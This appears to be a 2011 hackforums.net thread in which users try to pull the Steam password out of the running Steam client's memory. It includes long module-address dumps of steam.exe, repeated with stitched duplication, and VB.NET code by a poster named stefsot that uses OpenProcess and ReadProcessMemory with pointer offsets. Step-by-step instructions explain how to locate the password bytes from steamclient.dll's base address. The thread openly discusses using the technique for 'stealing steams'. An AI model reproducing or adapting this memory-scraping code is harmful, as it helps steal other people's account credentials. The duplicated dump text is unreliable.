[avutil-50.dll]
Entrypoint address: 27922528
Base address: 27918336
MemorySize: 102400

[icudt42.dll]
Entrypoint address: 0
Base address: 1255145472
MemorySize: 10899456

[imagehlp.dll]
Entrypoint address: 1992823405
Base address: 1992818688
MemorySize: 163840

[WINTRUST.dll]
Entrypoint address: 1992430885
Base address: 1992425472
MemorySize: 188416

[wdmaud.drv]
Entrypoint address: 1926054861
Base address: 1926037504
MemorySize: 36864

[msacm32.drv]
Entrypoint address: 1925981557
Base address: 1925971968
MemorySize: 32768

[MSACM32.dll]

Entrypoint address: 2008879762

Base address: 2008875008

MemorySize: 86016

[midimap.dll]

Entrypoint address: 2008822717

Base address: 2008809472

MemorySize: 28672

[dsound.dll]

Entrypoint address: 1944852360

Base address: 1944846336

MemorySize: 376832

[CLBCATQ.DLL]

Entrypoint address: 1996238920

Base address: 1996226560

MemorySize: 520192

[COMRes.dll]

Entrypoint address: 1996755029

Base address: 1996750848

MemorySize: 819200

[wbemprox.dll]

Entrypoint address: 1961562735

Base address: 1961558016

MemorySize: 32768

[wbemcomn.dll]

Entrypoint address: 1965426269

Base address: 1965359104

MemorySize: 225280

[xpsp2res.dll]

Entrypoint address: 0

Base address: 106102784

MemorySize: 3190784

[wbemsvc.dll]

Entrypoint address: 1961462334

Base address: 1961426944

MemorySize: 57344

[fastprox.dll]

Entrypoint address: 1969901476

Base address: 1969618944

MemorySize: 483328

[MSVCP60.dll]

Entrypoint address: 1980109598

Base address: 1980104704
MemorySize: 413696

[NTDSAPI.dll]
Entrypoint address: 1987646032
Base address: 1987641344
MemorySize: 77824

[NETAPI32.dll]
Entrypoint address: 1620282184
Base address: 1620246528
MemorySize: 348160

[RASAPI32.DLL]
Entrypoint address: 1995256493
Base address: 1995243520
MemorySize: 245760

[rasman.dll]
Entrypoint address: 1994920544
Base address: 1994915840
MemorySize: 73728

[TAPI32.dll]
Entrypoint address: 1995051936
Base address: 1995046912
MemorySize: 192512

[rtutils.dll]
Entrypoint address: 1994857389
Base address: 1994850304
MemorySize: 57344

[msv1_0.dll]
Entrypoint address: 2009482027
Base address: 2009464832
MemorySize: 151552

[cryptdll.dll]
Entrypoint address: 1987582857
Base address: 1987575808
MemorySize: 49152

[LINKINFO.dll]
Entrypoint address: 1989614903
Base address: 1989607424
MemorySize: 32768

[ntshrui.dll]
Entrypoint address: 1989680843
Base address: 1989672960
MemorySize: 126976

[ATL.DLL]

Entrypoint address: 1991352936

Base address: 1991311360

MemorySize: 69632

[USERENV.dll]

Entrypoint address: 1989875172

Base address: 1989869568

MemorySize: 741376

[SETUPAPI.dll]

Entrypoint address: 2005996954

Base address: 2005991424

MemorySize: 962560

[cryptnet.dll]

Entrypoint address: 1978799136

Base address: 1978793984

MemorySize: 77824

[SensApi.dll]

Entrypoint address: 1915228432

Base address: 1915224064

MemorySize: 20480

[appHelp.dll]

Entrypoint address: 2008226825

Base address: 2008219648

MemorySize: 139264

[bitkinexwe.dll]

Entrypoint address: 33708556

Base address: 33685504

MemorySize: 53248

[MSVCR80.dll]

Entrypoint address: 2014520107

Base address: 2014511104

MemorySize: 634880

[shdocvw.dll]

Entrypoint address: 2115985796

Base address: 2115895296

MemorySize: 1519616

[CRYPTUI.dll]

Entrypoint address: 1986401963

Base address: 1986396160

MemorySize: 557056

[mydocs.dll]

Entrypoint address: 1916670974

Base address: 1916665856

MemorySize: 77824

[TortoiseStub.dll]

Entrypoint address: 37032506

Base address: 37027840

MemorySize: 57344

[TortoiseSVN.dll]

Entrypoint address: 38103040

Base address: 37748736

MemorySize: 827392

[SHFOLDER.dll]

Entrypoint address: 1987514736

Base address: 1987510272

MemorySize: 36864

[libapr_tsvn.dll]

Entrypoint address: 1861050925

Base address: 1860960256

MemorySize: 139264

[MSVCR90.dll]

Entrypoint address: 2018782528

Base address: 2018639872

MemorySize: 667648

[libaprutil_tsvn.dll]

Entrypoint address: 1860709119

Base address: 1860567040

MemorySize: 192512

[intl3_tsvn.dll]

Entrypoint address: 38637558

Base address: 38600704

MemorySize: 73728

[MSVCP90.dll]

Entrypoint address: 2018221495

Base address: 2017984512

MemorySize: 581632

[VPCShExH.DLL]

Entrypoint address: 45029409

Base address: 45023232

MemorySize: 53248

[DragExt.dll]

Entrypoint address: 45158588

Base address: 45154304

MemorySize: 106496

[Steam.dll]

Entrypoint address: 807087306
Base address: 805306368
MemorySize: 2932736

[SteamUI.dll]
Entrypoint address: 975111462
Base address: 973078528
MemorySize: 3403776

[tier0_s.dll]
Entrypoint address: 1057088997
Base address: 1056964608
MemorySize: 704512

[vstdlib_s.dll]
Entrypoint address: 1063442031
Base address: 1063256064
MemorySize: 450560

[crashhandler.dll]
Entrypoint address: 24655037
Base address: 24576000
MemorySize: 716800

[FileSystem_Steam.dll]
Entrypoint address: 1067522782
Base address: 1067450368
MemorySize: 204800

[vgui2.dll]
Entrypoint address: 1059405294
Base address: 1059061760
MemorySize: 663552

[MSIMG32.dll]
Entrypoint address: 1983254796
Base address: 1983250432
MemorySize: 20480

[comdlg32.dll]
Entrypoint address: 1983452697
Base address: 1983447040
MemorySize: 299008

[libcef.dll]
Entrypoint address: 155942156
Base address: 149815296
MemorySize: 13524992

[USP10.dll]
Entrypoint address: 1968432185
Base address: 1968308224
MemorySize: 438272

[urlmon.dll]

Entrypoint address: 2112952199

Base address: 2112946176

MemorySize: 667648

[steamclient.dll]

Entrypoint address: 942089928

Base address: 939524096

MemorySize: 4567040

[p2pvoice.dll]

Entrypoint address: 41008659

Base address: 40828928

MemorySize: 1249280

[mss32_s.dll]

Entrypoint address: 554928412

Base address: 554696704

MemorySize: 626688

[steamservice.dll]

Entrypoint address: 43452968

Base address: 43188224

MemorySize: 1011712

[friendsui.dll]

Entrypoint address: 122917964

Base address: 121962496

MemorySize: 1630208

[serverbrowser.dll]

Entrypoint address: 125641148

Base address: 124977152

MemorySize: 1183744

[WSOCK32.dll]

Entrypoint address: 1906970681

Base address: 1906966528

MemorySize: 40960

[CEHook.dll]

Entrypoint address: 228383924

Base address: 227934208

MemorySize: 540672

[KsUser.dll]

Entrypoint address: 1944653857

Base address: 1944649728

MemorySize: 16384

[vaudio_speex.dll]

Entrypoint address: 989864274

Base address: 989855744
MemorySize: 196608

Report generated by ExeDump 0.1 at 20:35.

There was 114 modules in this report.^^

I can't really seem to get the get_address function to work. I get an 'Overflow' error.

Code Dim passaddress As Long = get_address(&H939524096004037C0, &H310, &H7E0, &H763, 4) - &H2A50Thats how i declare it, "&H939524096004037C0" Gets underlined and shows as 'Overflow'.

Lol @ me explaining two times...

The-One - January 5, 2011, 1:37 pm

You have to not only use a calculate to do this, you have to get the module and subtract the address of that. When I'll fix my code, i'll post it.

Joler1302 - January 7, 2011, 7:58 am

Even though you can get the password, the password is encrypted, so theres not really any sense in using this for stealing steams :) Only if someone manages to decrypt the steam passwords.

jaBBatheHuTT - January 7, 2011, 8:07 am

Looks like you know how to hack games :D
tinyurl.com/33x3l9o

System113 - January 7, 2011, 8:17 am

wow never seen that again really awesome keep going :D

stefsot - January 7, 2011, 9:44 am

(Jan 5, 2011 12:45 PM)Joler1302 Wrote: [\[CITE\]](#) Ah, I'm almost 99% sure I can't so that on 64. I have to use different api's. Well, ima play with it.

Okey, I did a few scans, made a program:

Code [The-One's Module Dump]
I belive we got the same idea.

Code ExeDump 0.1 report start of steam.exe process

[ntdll.dll]

Entrypoint address: 2089888840
Base address: 2089811968
MemorySize: 737280

[kernel32.dll]

Entrypoint address: 2088810062
Base address: 2088763392
MemorySize: 1024000

[WS2_32.dll]

Entrypoint address: 1906840179
Base address: 1906835456
MemorySize: 94208

[ADVAPI32.dll]
Entrypoint address: 2010935563
Base address: 2010906624
MemorySize: 700416

[RPCRT4.dll]
Entrypoint address: 2011652751
Base address: 2011627520
MemorySize: 602112

[Secur32.dll]
Entrypoint address: 2013143366
Base address: 2013134848
MemorySize: 69632

[msvcrt.dll]
Entrypoint address: 2009133729
Base address: 2009071616
MemorySize: 360448

[WS2HELP.dll]
Entrypoint address: 1906775608
Base address: 1906769920
MemorySize: 32768

[USER32.dll]
Entrypoint address: 2117513751
Base address: 2117468160
MemorySize: 557056

[GDI32.dll]
Entrypoint address: 2012308871
Base address: 2012282880
MemorySize: 299008

[SHELL32.dll]
Entrypoint address: 2090759382
Base address: 2090598400
MemorySize: 11644928

[SHLWAPI.dll]
Entrypoint address: 2012631563
Base address: 2012610560
MemorySize: 483328

[OLEAUT32.dll]
Entrypoint address: 1997608288
Base address: 1997602816
MemorySize: 569344

[ole32.dll]

begin_of_the_skype_highlighting 2117513751 end_of_the_skype_highlighting

Entrypoint address: 2001653857
Base address: 2001534976
MemorySize: 1302528

[WINSPOOL.DRV]
Entrypoint address: 1929073829
Base address: 1929052160
MemorySize: 155648

[VERSION.dll]
Entrypoint address: 2009010485
Base address: 2009006080
MemorySize: 32768

[comctl32.dll]
Entrypoint address: 2000437846
Base address: 2000420864
MemorySize: 1060864

[comctl32.dll]
Entrypoint address: 1566192826
Base address: 1566179328
MemorySize: 667648

[uxtheme.dll]
Entrypoint address: 1529157158
Base address: 1529151488
MemorySize: 229376

[RocketDock.dll]
Entrypoint address: 268447289
Base address: 268435456
MemorySize: 73728

[PSAPI.DLL]
Entrypoint address: 1992167665
Base address: 1992163328
MemorySize: 45056

[MSCTF.dll]
Entrypoint address: 1953371045
Base address: 1953366016
MemorySize: 311296

[mswsock.dll]
Entrypoint address: 1906447565
Base address: 1906442240
MemorySize: 262144

[hnetcfg.dll]
Entrypoint address: 1660582491
Base address: 1660354560
MemorySize: 360448

[wshtcpip.dll]

Entrypoint address: 1906709550

Base address: 1906704384

MemorySize: 32768

[DNSAPI.dll]

Entrypoint address: 1995549826

Base address: 1995505664

MemorySize: 159744

[winrnr.dll]

Entrypoint address: 1996099933

Base address: 1996095488

MemorySize: 32768

[WLDAP32.dll]

Entrypoint address: 1995772208

Base address: 1995767808

MemorySize: 184320

[mdnsNSP.dll]

Entrypoint address: 1677742789

Base address: 1677721600

MemorySize: 151552

[lphlpapi.dll]

Entrypoint address: 1993691914

Base address: 1993670656

MemorySize: 102400

[rasadhlp.dll]

Entrypoint address: 1996166191

Base address: 1996161024

MemorySize: 24576

[DbgHelp.dll]

Entrypoint address: 50755022

Base address: 50331648

MemorySize: 1134592

[CSERHelper.dll]

Entrypoint address: 1610656750

Base address: 1610612736

MemorySize: 135168

[WINMM.dll]

Entrypoint address: 1991453537

Base address: 1991442432

MemorySize: 188416

[rsaenh.dll]

Entrypoint address: 1744916104

Base address: 1744830464
MemorySize: 221184

[WININET.dll]
Entrypoint address: 1998198097
Base address: 1998192640
MemorySize: 696320

[CRYPT32.dll]
Entrypoint address: 2007438898
Base address: 2007433216
MemorySize: 614400

[MSASN1.dll]
Entrypoint address: 2008101793
Base address: 2008088576
MemorySize: 73728

[IMM32.dll]
Entrypoint address: 1983320768
Base address: 1983315968
MemorySize: 118784

[WINHTTP.dll]
Entrypoint address: 1297628358
Base address: 1297350656
MemorySize: 364544

[avcodec-52.dll]
Entrypoint address: 1792282720
Base address: 1792278528
MemorySize: 1212416

[avutil-50.dll]
Entrypoint address: 1793593440
Base address: 1793589248
MemorySize: 102400

[avformat-52.dll]
Entrypoint address: 1687425120
Base address: 1687420928
MemorySize: 155648

[avutil-50.dll]
Entrypoint address: 27922528
Base address: 27918336
MemorySize: 102400

[icudt42.dll]
Entrypoint address: 0
Base address: 1255145472
MemorySize: 10899456

[imagehlp.dll]

Entrypoint address: 1992823405

Base address: 1992818688

MemorySize: 163840

[WINTRUST.dll]

Entrypoint address: 1992430885

Base address: 1992425472

MemorySize: 188416

[wdmaud.drv]

Entrypoint address: 1926054861

Base address: 1926037504

MemorySize: 36864

[msacm32.drv]

Entrypoint address: 1925981557

Base address: 1925971968

MemorySize: 32768

[MSACM32.dll]

Entrypoint address: 2008879762

Base address: 2008875008

MemorySize: 86016

[midimap.dll]

Entrypoint address: 2008822717

Base address: 2008809472

MemorySize: 28672

[dsound.dll]

Entrypoint address: 1944852360

Base address: 1944846336

MemorySize: 376832

[CLBCATQ.DLL]

Entrypoint address: 1996238920

Base address: 1996226560

MemorySize: 520192

[COMRes.dll]

Entrypoint address: 1996755029

Base address: 1996750848

MemorySize: 819200

[wbemprox.dll]

Entrypoint address: 1961562735

Base address: 1961558016

MemorySize: 32768

[wbemcomn.dll]

Entrypoint address: 1965426269

Base address: 1965359104

MemorySize: 225280

[xpsp2res.dll]

Entrypoint address: 0

Base address: 106102784

MemorySize: 3190784

[wbemsvc.dll]

Entrypoint address: 1961462334

Base address: 1961426944

MemorySize: 57344

[fastprox.dll]

Entrypoint address: 1969901476

Base address: 1969618944

MemorySize: 483328

[MSVCP60.dll]

Entrypoint address: 1980109598

Base address: 1980104704

MemorySize: 413696

[NTDSAPI.dll]

Entrypoint address: 1987646032

Base address: 1987641344

MemorySize: 77824

[NETAPI32.dll]

Entrypoint address: 1620282184

Base address: 1620246528

MemorySize: 348160

[RASAPI32.DLL]

Entrypoint address: 1995256493

Base address: 1995243520

MemorySize: 245760

[rasman.dll]

Entrypoint address: 1994920544

Base address: 1994915840

MemorySize: 73728

[TAPI32.dll]

Entrypoint address: 1995051936

Base address: 1995046912

MemorySize: 192512

[rtutils.dll]

Entrypoint address: 1994857389

Base address: 1994850304

MemorySize: 57344

[msv1_0.dll]

Entrypoint address: 2009482027
Base address: 2009464832
MemorySize: 151552

[cryptdll.dll]

Entrypoint address: 1987582857
Base address: 1987575808
MemorySize: 49152

[LINKINFO.dll]

Entrypoint address: 1989614903
Base address: 1989607424
MemorySize: 32768

[ntshrui.dll]

Entrypoint address: 1989680843
Base address: 1989672960
MemorySize: 126976

[ATL.DLL]

Entrypoint address: 1991352936
Base address: 1991311360
MemorySize: 69632

[USERENV.dll]

Entrypoint address: 1989875172
Base address: 1989869568
MemorySize: 741376

[SETUPAPI.dll]

Entrypoint address: 2005996954
Base address: 2005991424
MemorySize: 962560

[cryptnet.dll]

Entrypoint address: 1978799136
Base address: 1978793984
MemorySize: 77824

[SensApi.dll]

Entrypoint address: 1915228432
Base address: 1915224064
MemorySize: 20480

[appHelp.dll]

Entrypoint address: 2008226825
Base address: 2008219648
MemorySize: 139264

[bitkinexwe.dll]

Entrypoint address: 33708556
Base address: 33685504
MemorySize: 53248

[MSVCR80.dll]

Entrypoint address: 2014520107

Base address: 2014511104

MemorySize: 634880

[shdocvw.dll]

Entrypoint address: 2115985796

Base address: 2115895296

MemorySize: 1519616

[CRYPTUI.dll]

Entrypoint address: 1986401963

Base address: 1986396160

MemorySize: 557056

[mydocs.dll]

Entrypoint address: 1916670974

Base address: 1916665856

MemorySize: 77824

[TortoiseStub.dll]

Entrypoint address: 37032506

Base address: 37027840

MemorySize: 57344

[TortoiseSVN.dll]

Entrypoint address: 38103040

Base address: 37748736

MemorySize: 827392

[SHFOLDER.dll]

Entrypoint address: 1987514736

Base address: 1987510272

MemorySize: 36864

[libapr_tsvn.dll]

Entrypoint address: 1861050925

Base address: 1860960256

MemorySize: 139264

[MSVCR90.dll]

Entrypoint address: 2018782528

Base address: 2018639872

MemorySize: 667648

[libaprutil_tsvn.dll]

Entrypoint address: 1860709119

Base address: 1860567040

MemorySize: 192512

[intl3_tsvn.dll]

Entrypoint address: 38637558

Base address: 38600704
MemorySize: 73728

[MSVCP90.dll]
Entrypoint address: 2018221495
Base address: 2017984512
MemorySize: 581632

[VPCShExH.DLL]
Entrypoint address: 45029409
Base address: 45023232
MemorySize: 53248

[DragExt.dll]
Entrypoint address: 45158588
Base address: 45154304
MemorySize: 106496

[Steam.dll]
Entrypoint address: 807087306
Base address: 805306368
MemorySize: 2932736

[SteamUI.dll]
Entrypoint address: 975111462
Base address: 973078528
MemorySize: 3403776

[tier0_s.dll]
Entrypoint address: 1057088997
Base address: 1056964608
MemorySize: 704512

[vstdlib_s.dll]
Entrypoint address: 1063442031
Base address: 1063256064
MemorySize: 450560

[crashhandler.dll]
Entrypoint address: 24655037
Base address: 24576000
MemorySize: 716800

[FileSystem_Steam.dll]
Entrypoint address: 1067522782
Base address: 1067450368
MemorySize: 204800

[vgui2.dll]
Entrypoint address: 1059405294
Base address: 1059061760
MemorySize: 663552

[MSIMG32.dll]

Entrypoint address: 1983254796

Base address: 1983250432

MemorySize: 20480

[comdlg32.dll]

Entrypoint address: 1983452697

Base address: 1983447040

MemorySize: 299008

[libcef.dll]

Entrypoint address: 155942156

Base address: 149815296

MemorySize: 13524992

[USP10.dll]

Entrypoint address: 1968432185

Base address: 1968308224

MemorySize: 438272

[urlmon.dll]

Entrypoint address: 2112952199

Base address: 2112946176

MemorySize: 667648

[steamclient.dll]

Entrypoint address: 942089928

Base address: 939524096

MemorySize: 4567040

[p2pvoice.dll]

Entrypoint address: 41008659

Base address: 40828928

MemorySize: 1249280

[mss32_s.dll]

Entrypoint address: 554928412

Base address: 554696704

MemorySize: 626688

[steamservice.dll]

Entrypoint address: 43452968

Base address: 43188224

MemorySize: 1011712

[friendsui.dll]

Entrypoint address: 122917964

Base address: 121962496

MemorySize: 1630208

[serverbrowser.dll]

Entrypoint address: 125641148

Base address: 124977152

MemorySize: 1183744

[WSOCK32.dll]

Entrypoint address: 1906970681

Base address: 1906966528

MemorySize: 40960

[CEHook.dll]

Entrypoint address: 228383924

Base address: 227934208

MemorySize: 540672

[KsUser.dll]

Entrypoint address: 1944653857

Base address: 1944649728

MemorySize: 16384

[vaudio_speex.dll]

Entrypoint address: 989864274

Base address: 989855744

MemorySize: 196608

Report generated by ExeDump 0.1 at 20:35.

There was 114 modules in this report.^^

I can't really seem to get the get_address function to work. I get an 'Overflow' error.

Code Dim passaddress As Long = get_address(&H939524096004037C0, &H310, &H7E0, &H763, 4) - &H2A50Thats how i declare it, "&H939524096004037C0" Gets underlined and shows as 'Overflow'.

Lol @ me explaining two times...

Woow your pointer baseaddress is huge.. this should happen. The maximum digits in memory are 7 (7FF).

Follow my tut here about memory functions: <https://hackforums.net/showthread.php?tid=957392>

You'll need these

Code Public Function readDll(ByVal modulename As String, ByVal process_name As String)

Dim procmodule As ProcessModule

Dim constant1 As Integer

Dim constant2 As Long

Dim constant3 As Process() = Process.GetProcessesByName(process_name)

If constant3.Length = 0 Then

Return 0

End If

For Each procmodule In constant3(0).Modules

If modulename = procmodule.ModuleName Then

constant1 = procmodule.BaseAddress

End If

Next

constant2 = constant1

Return constant2

End FunctionCode Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal bytes As Integer)

```

Dim read_value As Integer
Dim hWnd As IntPtr, pHandle As IntPtr
Dim processID As Integer
Dim RBuff As Long
Dim fullAddress As Long
Dim windowname As String
Dim proc As Process() = Process.GetProcessesByName(targetproc)
windowname = proc(0).MainWindowTitle
hWnd = FindWindow(vbNullString, windowname)
If Not (hWnd = 0) Then
    GetWindowThreadProcessId(hWnd, processID)
    pHandle = OpenProcess(PROCESS_VM_ALL, 0, processID)
    If Not (pHandle = 0) Then
        ReadProcessMemory(pHandle, baseaddress, RBuff, 4, 0)
        fullAddress = RBuff + offset1
        ReadProcessMemory(pHandle, fullAddress, RBuff, 4, 0)
        fullAddress = RBuff + offset2
    End If
    CloseHandle(pHandle)
End If
ReadProcessMemory(pHandle, fullAddress, read_value, bytes, 0)
Return read_value
End Function*add one more offset in this function.

```

- 1) use the readDll function to get the entry point
- 2) add to the entrypoint the number you need (eg. kernel32.dll+433000 ->entrypoint+433000) and get the pointerbaseaddress
- 3) Use the pointer baseaddress and offsets with thereadmemory function (use 1 byte) to get the byte
- 4) remember that what you are reading is text

The-One - January 7, 2011, 9:50 am

When I use readDll, I get 939524096.

stefsot - January 7, 2011, 9:55 am

Convert it in hex

Code hex(939524096)

The-One - January 7, 2011, 10:04 am

(Jan 7, 2011 10:55 AM)stefsot Wrote: [\[CITE\]](#) Convert it in hex

Code hex(939524096)

Omg, of course, its 3800'00'00 (Soz for ' hf removes all zeros) now.

stefsot - January 7, 2011, 11:38 am

I'm happy to see that I helped you :)